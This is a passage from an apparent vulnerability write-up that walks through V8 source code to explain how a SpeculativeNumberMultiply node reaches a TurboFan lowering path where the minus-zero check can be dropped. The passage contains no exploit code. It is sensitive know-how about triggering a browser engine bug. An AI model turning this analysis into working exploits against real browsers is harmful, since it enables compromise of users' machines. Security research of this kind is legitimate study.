        <span class="k">if</span> <span class="p">(</span><span class="n">BothInputsAre</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">()))</span> <span class="p">{</span>
          <span class="c1">// If both inputs and feedback are int32, use the overflow op.</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">hint</span> <span class="o">==</span> <span class="n">NumberOperationHint</span><span class="o">::</span><span class="n">kSignedSmall</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">VisitBinop</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">UseInfo</span><span class="o">::</span><span class="n">TruncatingWord32</span><span class="p">(),</span>
                          <span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">,</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">());</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">lower</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">())</span> <span class="p">{</span>
              <span class="c1">// [1] Bug is in here</span>
              <span class="n">LowerToCheckedInt32Mul</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">truncation</span><span class="p">,</span> <span class="n">input0_type</span><span class="p">,</span>
                                     <span class="n">input1_type</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="k">return</span><span class="p">;</span>
          <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="c1">// If both inputs not Signed32. But maybe one of them is? I imagine the bug could also be triggered from here.</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">hint</span> <span class="o">==</span> <span class="n">NumberOperationHint</span><span class="o">::</span><span class="n">kSignedSmall</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">VisitBinop</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">CheckedUseInfoAsWord32FromHint</span><span class="p">(</span><span class="n">hint</span><span class="p">),</span>
                        <span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">,</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">());</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">lower</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">LowerToCheckedInt32Mul</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">truncation</span><span class="p">,</span> <span class="n">input0_type</span><span class="p">,</span> <span class="n">input1_type</span><span class="p">);</span>
          <span class="p">}</span>
          <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="c1">// [...]</span>
		<span class="k">return</span><span class="p">;</span>
      <span class="p">}</span>
</code></pre></div></div>

<h2 id="reaching-the-code">Reaching the code</h2>
<p>Firstly, the code is reached by generating a <code class="language-plaintext highlighter-rouge">SpeculativeNumberMultiply</code> node. How exactly is this done? Well generating a speculative node is actually the default for most (if not all) of the numerical bytecodes during the Graph Builder Phase:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">Node</span><span class="o">*</span> <span class="nf">TryBuildNumberBinop</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">NumberOperationHint</span> <span class="n">hint</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">GetBinaryNumberOperationHint</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hint</span><span class="p">))</span> <span class="p">{</span>
      <span class="k">const</span> <span class="n">Operator</span><span class="o">*</span> <span class="n">op</span> <span class="o">=</span> <span class="n">SpeculativeNumberOp</span><span class="p">(</span><span class="n">hint</span><span class="p">);</span>
      <span class="n">Node</span><span class="o">*</span> <span class="n">node</span> <span class="o">=</span> <span class="n">BuildSpeculativeOperation</span><span class="p">(</span><span class="n">op</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">node</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nb">nullptr</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>This function is then used to attempt construction of a speculative number node inside Js Type Hint lowering - but only if the type hint is correct (that is, the feedback is a numerical type, e.g SignedSmall):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSBitwiseOr</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSBitwiseXor</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSBitwiseAnd</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSShiftLeft</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSShiftRight</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSShiftRightLogical</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSAdd</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSSubtract</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSMultiply</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSDivide</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kJSModulus</span><span class="p">:</span> <span class="p">{</span>
	  <span class="c1">// [...]</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span> <span class="o">=</span> <span class="n">b</span><span class="p">.</span><span class="n">TryBuildNumberBinop</span><span class="p">())</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">LoweringResult</span><span class="o">::</span><span class="n">SideEffectFree</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">node</span><span class="p">,</span> <span class="n">control</span><span class="p">);</span>
      <span class="p">}</span>
      <span class="c1">// [...]</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
</code></pre></div></div>

<p>We can find the code which obtains this feedback and builds a basic multiply operation inside ignition:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">TNode</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">BinaryOpAssembler</span><span class="o">::</span><span class="n">Generate_MultiplyWithFeedback</span><span class="p">(</span>
    <span class="k">const</span> <span class="n">LazyNode</span><span class="o">&lt;</span><span class="n">Context</span><span class="o">&gt;&amp;</span> <span class="n">context</span><span class="p">,</span> <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">lhs</span><span class="p">,</span> <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">rhs</span><span class="p">,</span>
    <span class="n">TNode</span><span class="o">&lt;</span><span class="n">UintPtrT</span><span class="o">&gt;</span> <span class="n">slot_id</span><span class="p">,</span> <span class="k">const</span> <span class="n">LazyNode</span><span class="o">&lt;</span><span class="n">HeapObject</span><span class="o">&gt;&amp;</span> <span class="n">maybe_feedback_vector</span><span class="p">,</span>
    <span class="n">UpdateFeedbackMode</span> <span class="n">update_feedback_mode</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">rhs_known_smi</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">auto</span> <span class="n">smiFunction</span> <span class="o">=</span> <span class="p">[</span><span class="o">=</span><span class="p">](</span><span class="n">TNode</span><span class="o">&lt;</span><span class="n">Smi</span><span class="o">&gt;</span> <span class="n">lhs</span><span class="p">,</span> <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Smi</span><span class="o">&gt;</span> <span class="n">rhs</span><span class="p">,</span>
                         <span class="n">TVariable</span><span class="o">&lt;</span><span class="n">Smi</span><span class="o">&gt;*</span> <span class="n">var_type_feedback</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Number</span><span class="o">&gt;</span> <span class="n">result</span> <span class="o">=</span> <span class="n">SmiMul</span><span class="p">(</span><span class="n">lhs</span><span class="p">,</span> <span class="n">rhs</span><span class="p">);</span>
    <span class="o">*</span><span class="n">var_type_feedback</span> <span class="o">=</span> <span class="n">SelectSmiConstant</span><span class="p">(</span>
        <span class="n">TaggedIsSmi</span><span class="p">(</span><span class="n">result</span><span class="p">),</span> <span class="n">BinaryOperationFeedback</span><span class="o">::</span><span class="n">kSignedSmall</span><span class="p">,</span>
        <span class="n">BinaryOperationFeedback</span><span class="o">::</span><span class="n">kNumber</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
  <span class="p">};</span>
  <span class="c1">// [...]</span>
  <span class="k">return</span> <span class="n">Generate_BinaryOperationWithFeedback</span><span class="p">(</span> <span class="c1">// &lt;-------- [1]</span>
      <span class="n">context</span><span class="p">,</span> <span class="n">lhs</span><span class="p">,</span> <span class="n">rhs</span><span class="p">,</span> <span class="n">slot_id</span><span class="p">,</span> <span class="n">maybe_feedback_vector</span><span class="p">,</span> <span class="n">smiFunction</span><span class="p">,</span>
      <span class="n">floatFunction</span><span class="p">,</span> <span class="n">Operation</span><span class="o">::</span><span class="n">kMultiply</span><span class="p">,</span> <span class="n">update_feedback_mode</span><span class="p">,</span> <span class="n">rhs_known_smi</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Then at <code class="language-plaintext highlighter-rouge">[1]</code> we call into the function which will actually get the feedback for us:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TNode</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">BinaryOpAssembler</span><span class="o">::</span><span class="n">Generate_BinaryOperationWithFeedback</span><span class="p">(</span>
    <span class="k">const</span> <span class="n">LazyNode</span><span class="o">&lt;</span><span class="n">Context</span><span class="o">&gt;&amp;</span> <span class="n">context</span><span class="p">,</span> <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">lhs</span><span class="p">,</span> <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Object</span><span class="o">&gt;</span> <span class="n">rhs</span><span class="p">,</span>
    <span class="n">TNode</span><span class="o">&lt;</span><span class="n">UintPtrT</span><span class="o">&gt;</span> <span class="n">slot_id</span><span class="p">,</span> <span class="k">const</span> <span class="n">LazyNode</span><span class="o">&lt;</span><span class="n">HeapObject</span><span class="o">&gt;&amp;</span> <span class="n">maybe_feedback_vector</span><span class="p">,</span>
    <span class="k">const</span> <span class="n">SmiOperation</span><span class="o">&amp;</span> <span class="n">smiOperation</span><span class="p">,</span> <span class="k">const</span> <span class="n">FloatOperation</span><span class="o">&amp;</span> <span class="n">floatOperation</span><span class="p">,</span>
    <span class="n">Operation</span> <span class="n">op</span><span class="p">,</span> <span class="n">UpdateFeedbackMode</span> <span class="n">update_feedback_mode</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">rhs_known_smi</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">Label</span> <span class="n">do_float_operation</span><span class="p">(</span><span class="k">this</span><span class="p">),</span> <span class="n">end</span><span class="p">(</span><span class="k">this</span><span class="p">),</span> <span class="n">call_stub</span><span class="p">(</span><span class="k">this</span><span class="p">),</span>
      <span class="n">check_rhsisoddball</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">Label</span><span class="o">::</span><span class="n">kDeferred</span><span class="p">),</span> <span class="n">call_with_any_feedback</span><span class="p">(</span><span class="k">this</span><span class="p">),</span>
      <span class="n">if_lhsisnotnumber</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">Label</span><span class="o">::</span><span class="n">kDeferred</span><span class="p">),</span>
      <span class="n">if_both_bigint</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">Label</span><span class="o">::</span><span class="n">kDeferred</span><span class="p">);</span>
  <span class="n">TVARIABLE</span><span class="p">(</span><span class="n">Float64T</span><span class="p">,</span> <span class="n">var_float_lhs</span><span class="p">);</span>
  <span class="n">TVARIABLE</span><span class="p">(</span><span class="n">Float64T</span><span class="p">,</span> <span class="n">var_float_rhs</span><span class="p">);</span>
  <span class="n">TVARIABLE</span><span class="p">(</span><span class="n">Smi</span><span class="p">,</span> <span class="n">var_type_feedback</span><span class="p">);</span>
  <span class="n">TVARIABLE</span><span class="p">(</span><span class="n">Object</span><span class="p">,</span> <span class="n">var_result</span><span class="p">);</span>

  <span class="n">Label</span> <span class="n">if_lhsissmi</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
  <span class="c1">// If rhs is known to be an Smi (in the SubSmi, MulSmi, DivSmi, ModSmi</span>
  <span class="c1">// bytecode handlers) we want to fast path Smi operation. For the normal</span>
  <span class="c1">// operation, we want to fast path both Smi and Number operations, so this</span>
  <span class="c1">// path should not be marked as Deferred.</span>

  <span class="c1">// [...]</span>

  <span class="c1">// Check if the {lhs} is a Smi or a HeapObject.</span>
  <span class="n">BIND</span><span class="p">(</span><span class="o">&amp;</span><span class="n">if_lhsissmi</span><span class="p">);</span>
  <span class="p">{</span>
    <span class="n">Comment</span><span class="p">(</span><span class="s">"lhs is Smi"</span><span class="p">);</span>
    <span class="n">TNode</span><span class="o">&lt;</span><span class="n">Smi</span><span class="o">&gt;</span> <span class="n">lhs_smi</span> <span class="o">=</span> <span class="n">CAST</span><span class="p">(</span><span class="n">lhs</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">rhs_known_smi</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// [...]</span>
      <span class="n">BIND</span><span class="p">(</span><span class="o">&amp;</span><span class="n">if_rhsissmi</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="p">{</span>
      <span class="n">Comment</span><span class="p">(</span><span class="s">"perform smi operation"</span><span class="p">);</span> <span class="c1">// [1]</span>
      <span class="n">var_result</span> <span class="o">=</span> <span class="n">smiOperation</span><span class="p">(</span><span class="n">lhs_smi</span><span class="p">,</span> <span class="n">CAST</span><span class="p">(</span><span class="n">rhs</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">var_type_feedback</span><span class="p">);</span>
      <span class="n">UpdateFeedback</span><span class="p">(</span><span class="n">var_type_feedback</span><span class="p">.</span><span class="n">value</span><span class="p">(),</span> <span class="n">maybe_feedback_vector</span><span class="p">(),</span>
                     <span class="n">slot_id</span><span class="p">,</span> <span class="n">update_feedback_mode</span><span class="p">);</span>
      <span class="n">Goto</span><span class="p">(</span><span class="o">&amp;</span><span class="n">end</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>

</code></pre></div></div>

<p>The SignedSmall feedback is given only if the lhs and rhs of the multiplication are smi’s, in which case we call into the <code class="language-plaintext highlighter-rouge">smiFunction</code> (@ <code class="language-plaintext highlighter-rouge">[1]</code>) created in Generate_MultiplyWithFeedback. Nice.</p>

<p>Returning to SpeculativeNumberMultiply, there is one more thing we need to be aware of - typed optimization. Under certain circumstances after typing of nodes is complete, the next phase, (typed optimization) will attempt to lower our Speculative node to a simpler version with less overhead:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Reduction</span> <span class="n">TypedOptimization</span><span class="o">::</span><span class="n">ReduceSpeculativeNumberBinop</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">Node</span><span class="o">*</span> <span class="k">const</span> <span class="n">lhs</span> <span class="o">=</span> <span class="n">NodeProperties</span><span class="o">::</span><span class="n">GetValueInput</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">Node</span><span class="o">*</span> <span class="k">const</span> <span class="n">rhs</span> <span class="o">=</span> <span class="n">NodeProperties</span><span class="o">::</span><span class="n">GetValueInput</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
  <span class="n">Type</span> <span class="k">const</span> <span class="n">lhs_type</span> <span class="o">=</span> <span class="n">NodeProperties</span><span class="o">::</span><span class="n">GetType</span><span class="p">(</span><span class="n">lhs</span><span class="p">);</span>
  <span class="n">Type</span> <span class="k">const</span> <span class="n">rhs_type</span> <span class="o">=</span> <span class="n">NodeProperties</span><span class="o">::</span><span class="n">GetType</span><span class="p">(</span><span class="n">rhs</span><span class="p">);</span>
  <span class="n">NumberOperationHint</span> <span class="n">hint</span> <span class="o">=</span> <span class="n">NumberOperationHintOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">());</span>
  <span class="k">if</span> <span class="p">((</span><span class="n">hint</span> <span class="o">==</span> <span class="n">NumberOperationHint</span><span class="o">::</span><span class="n">kNumber</span> <span class="o">||</span>
       <span class="n">hint</span> <span class="o">==</span> <span class="n">NumberOperationHint</span><span class="o">::</span><span class="n">kNumberOrOddball</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
      <span class="n">BothAre</span><span class="p">(</span><span class="n">lhs_type</span><span class="p">,</span> <span class="n">rhs_type</span><span class="p">,</span> <span class="n">Type</span><span class="o">::</span><span class="n">NumberOrUndefinedOrNullOrBoolean</span><span class="p">()))</span> <span class="p">{</span>
    <span class="c1">// We intentionally do this only in the Number and NumberOrOddball hint case</span>
    <span class="c1">// because simplified lowering of these speculative ops may do some clever</span>
    <span class="c1">// reductions in the other cases.</span>
    <span class="n">Node</span><span class="o">*</span> <span class="k">const</span> <span class="n">toNum_lhs</span> <span class="o">=</span> <span class="n">ConvertPlainPrimitiveToNumber</span><span class="p">(</span><span class="n">lhs</span><span class="p">);</span>
    <span class="n">Node</span><span class="o">*</span> <span class="k">const</span> <span class="n">toNum_rhs</span> <span class="o">=</span> <span class="n">ConvertPlainPrimitiveToNumber</span><span class="p">(</span><span class="n">rhs</span><span class="p">);</span>
    <span class="n">Node</span><span class="o">*</span> <span class="k">const</span> <span class="n">value</span> <span class="o">=</span> <span class="n">graph</span><span class="p">()</span><span class="o">-&gt;</span><span class="n">NewNode</span><span class="p">(</span>
        <span class="n">NumberOpFromSpeculativeNumberOp</span><span class="p">(</span><span class="n">simplified</span><span class="p">(),</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">()),</span> <span class="n">toNum_lhs</span><span class="p">,</span>
        <span class="n">toNum_rhs</span><span class="p">);</span>
    <span class="n">ReplaceWithValue</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">value</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">Replace</span><span class="p">(</span><span class="n">value</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">NoChange</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can see here, that if our hint is NOT <code class="language-plaintext highlighter-rouge">kNumber</code>, then we can bypass the reduction of the node. Which thankfully will always be the case if we keep our <code class="language-plaintext highlighter-rouge">hint == SignedSmall</code>, and our inputs are not both <code class="language-plaintext highlighter-rouge">NumberOrUndefinedOrNullOrBoolean</code>.</p>

<p>If this and all the previous facts align, then we can enter the <code class="language-plaintext highlighter-rouge">kSpeculativeNumberMultiply</code> case in simplified-lowering. Good. Now lets take a look deeper.</p>

<h1 id="wheres-the-bug">Wheres the bug?</h1>
<p>To enter the next bit of code and trigger the bug, both inputs to our node must be of type <code class="language-plaintext highlighter-rouge">Signed32</code>, and our feedback must be <code class="language-plaintext highlighter-rouge">SignedSmall</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="n">NumberOperationHint</span> <span class="n">hint</span> <span class="o">=</span> <span class="n">NumberOperationHintOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">());</span>
        <span class="n">Type</span> <span class="n">input0_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
        <span class="n">Type</span> <span class="n">input1_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>

        <span class="c1">// Handle the case when no int32 checks on inputs are necessary</span>
        <span class="c1">// (but an overflow check is needed on the output).</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">BothInputsAre</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">()))</span> <span class="p">{</span>
          <span class="c1">// If both inputs and feedback are int32, use the overflow op.</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">hint</span> <span class="o">==</span> <span class="n">NumberOperationHint</span><span class="o">::</span><span class="n">kSignedSmall</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">VisitBinop</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">UseInfo</span><span class="o">::</span><span class="n">TruncatingWord32</span><span class="p">(),</span>
                          <span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">,</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">());</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">lower</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">())</span> <span class="p">{</span>
              <span class="c1">// [1] Bug is in here</span>
              <span class="n">LowerToCheckedInt32Mul</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">truncation</span><span class="p">,</span> <span class="n">input0_type</span><span class="p">,</span>
                                     <span class="n">input1_type</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="k">return</span><span class="p">;</span>
          <span class="p">}</span>
        <span class="p">}</span>
</code></pre></div></div>

<p>If this is the case, we visit this node - and depending on what sub-phase we will do a few different things:</p>

<h1 id="simplified-lowering-overview">Simplified-lowering overview</h1>
<ul>
  <li>Truncation Propogation phase: Add the provided <code class="language-plaintext highlighter-rouge">UseInfo</code> truncation of this node into both of its inputs. This pertains to things like how the input will be used and whether or not the current node should identify or distinguish zeros (will talk at length about this later).</li>
  <li>Retype phase: Change the output type of the node to match the supplied representation, also intersect the nodes output type with the supplied restriction type - making sure that the new type will not exceed/differ from the restriction type.</li>
  <li>Lowering phase: Make sure that the node after this recieves the output from this node in the correct format - to this end we may insert a conversion node between this and the next so it is recieved in the correct format (this is done based on the <code class="language-plaintext highlighter-rouge">UseInfo</code>).</li>
</ul>

<p>This is stuff which is covered at length in Faraz’ blog post, so I wont discuss it much more - the one key takeaway is that the nodes type WILL adhere to the restriction type specified in the <code class="language-plaintext highlighter-rouge">VisitBinop</code> call (Signed32).</p>

<p>Moving on, if we are in the lowering phase (aka, the final phase of simplified-lowering) we enter the <code class="language-plaintext highlighter-rouge">LowerToCheckedInt32Mul</code> function:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">void</span> <span class="nf">LowerToCheckedInt32Mul</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">,</span> <span class="n">Truncation</span> <span class="n">truncation</span><span class="p">,</span>
                              <span class="n">Type</span> <span class="n">input0_type</span><span class="p">,</span> <span class="n">Type</span> <span class="n">input1_type</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// If one of the inputs is positive and/or truncation is being applied,</span>
    <span class="c1">// there is no need to return -0.</span>
    <span class="c1">// Read the above, basically if the truncation identifies -0 (rather than distinguishing it), we set the CheckForMinusZero to kDontCheckForMinusZero</span>
    <span class="n">CheckForMinusZeroMode</span> <span class="n">mz_mode</span> <span class="o">=</span>
        <span class="n">truncation</span><span class="p">.</span><span class="n">IdentifiesZeroAndMinusZero</span><span class="p">()</span> <span class="o">||</span>
                <span class="n">IsSomePositiveOrderedNumber</span><span class="p">(</span><span class="n">input0_type</span><span class="p">)</span> <span class="o">||</span>
                <span class="n">IsSomePositiveOrderedNumber</span><span class="p">(</span><span class="n">input1_type</span><span class="p">)</span>
            <span class="o">?</span> <span class="n">CheckForMinusZeroMode</span><span class="o">::</span><span class="n">kDontCheckForMinusZero</span>
            <span class="o">:</span> <span class="n">CheckForMinusZeroMode</span><span class="o">::</span><span class="n">kCheckForMinusZero</span><span class="p">;</span>
    <span class="n">ChangeOp</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">simplified</span><span class="p">()</span><span class="o">-&gt;</span><span class="n">CheckedInt32Mul</span><span class="p">(</span><span class="n">mz_mode</span><span class="p">));</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>We can see that IF the node happens to have a truncation which <code class="language-plaintext highlighter-rouge">IdentifiesZeroAndMinusZero</code>, then we set the <code class="language-plaintext highlighter-rouge">mz_mode</code> to <code class="language-plaintext highlighter-rouge">DontCheckForMinusZero</code>, and pass this mode into new <code class="language-plaintext highlighter-rouge">CheckedInt32Mul</code> node which will replace our Speculative node.</p>

<p>Before I talk about this further, its probably best to mention the key difference between 0 and -0 in V8. 0 is a part of the <code class="language-plaintext highlighter-rouge">Signed32</code> type, whereas -0 is entirely its own, and as such has some different behaviours.</p>

<p>Inside of a node’s truncation, the <code class="language-plaintext highlighter-rouge">IdentifyZero</code>’s can have 2 values:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">enum</span> <span class="n">IdentifyZeros</span> <span class="p">{</span> <span class="n">kIdentifyZeros</span><span class="p">,</span> <span class="n">kDistinguishZeros</span> <span class="p">};</span>
</code></pre></div></div>

<p>The former, which we have already talked about is used to show when a node doesn’t need to care about differences between 0 and -0, as we can see inside the code responsible for lowering the <code class="language-plaintext highlighter-rouge">CheckedInt32Mul</code> node:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">Node</span><span class="o">*</span> <span class="n">EffectControlLinearizer</span><span class="o">::</span><span class="n">LowerCheckedInt32Mul</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">,</span>
                                                    <span class="n">Node</span><span class="o">*</span> <span class="n">frame_state</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">CheckForMinusZeroMode</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">CheckMinusZeroModeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">());</span>
  <span class="n">Node</span><span class="o">*</span> <span class="n">lhs</span> <span class="o">=</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">Node</span><span class="o">*</span> <span class="n">rhs</span> <span class="o">=</span> <span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

  <span class="n">Node</span><span class="o">*</span> <span class="n">projection</span> <span class="o">=</span> <span class="n">__</span> <span class="n">Int32MulWithOverflow</span><span class="p">(</span><span class="n">lhs</span><span class="p">,</span> <span class="n">rhs</span><span class="p">);</span>
  <span class="n">Node</span><span class="o">*</span> <span class="n">check</span> <span class="o">=</span> <span class="n">__</span> <span class="n">Projection</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">projection</span><span class="p">);</span>
  <span class="n">__</span> <span class="n">DeoptimizeIf</span><span class="p">(</span><span class="n">DeoptimizeReason</span><span class="o">::</span><span class="n">kOverflow</span><span class="p">,</span> <span class="n">FeedbackSource</span><span class="p">(),</span> <span class="n">check</span><span class="p">,</span>
                  <span class="n">frame_state</span><span class="p">);</span>

  <span class="n">Node</span><span class="o">*</span> <span class="n">value</span> <span class="o">=</span> <span class="n">__</span> <span class="n">Projection</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">projection</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">mode</span> <span class="o">==</span> <span class="n">CheckForMinusZeroMode</span><span class="o">::</span><span class="n">kCheckForMinusZero</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">auto</span> <span class="n">if_zero</span> <span class="o">=</span> <span class="n">__</span> <span class="n">MakeDeferredLabel</span><span class="p">();</span>
    <span class="k">auto</span> <span class="n">check_done</span> <span class="o">=</span> <span class="n">__</span> <span class="n">MakeLabel</span><span class="p">();</span>
    <span class="n">Node</span><span class="o">*</span> <span class="n">zero</span> <span class="o">=</span> <span class="n">__</span> <span class="n">Int32Constant</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="n">Node</span><span class="o">*</span> <span class="n">check_zero</span> <span class="o">=</span> <span class="n">__</span> <span class="n">Word32Equal</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">zero</span><span class="p">);</span>
    <span class="n">__</span> <span class="n">GotoIf</span><span class="p">(</span><span class="n">check_zero</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">if_zero</span><span class="p">);</span>
    <span class="n">__</span> <span class="n">Goto</span><span class="p">(</span><span class="o">&amp;</span><span class="n">check_done</span><span class="p">);</span>

    <span class="n">__</span> <span class="n">Bind</span><span class="p">(</span><span class="o">&amp;</span><span class="n">if_zero</span><span class="p">);</span>
    <span class="c1">// We may need to return negative zero.</span>
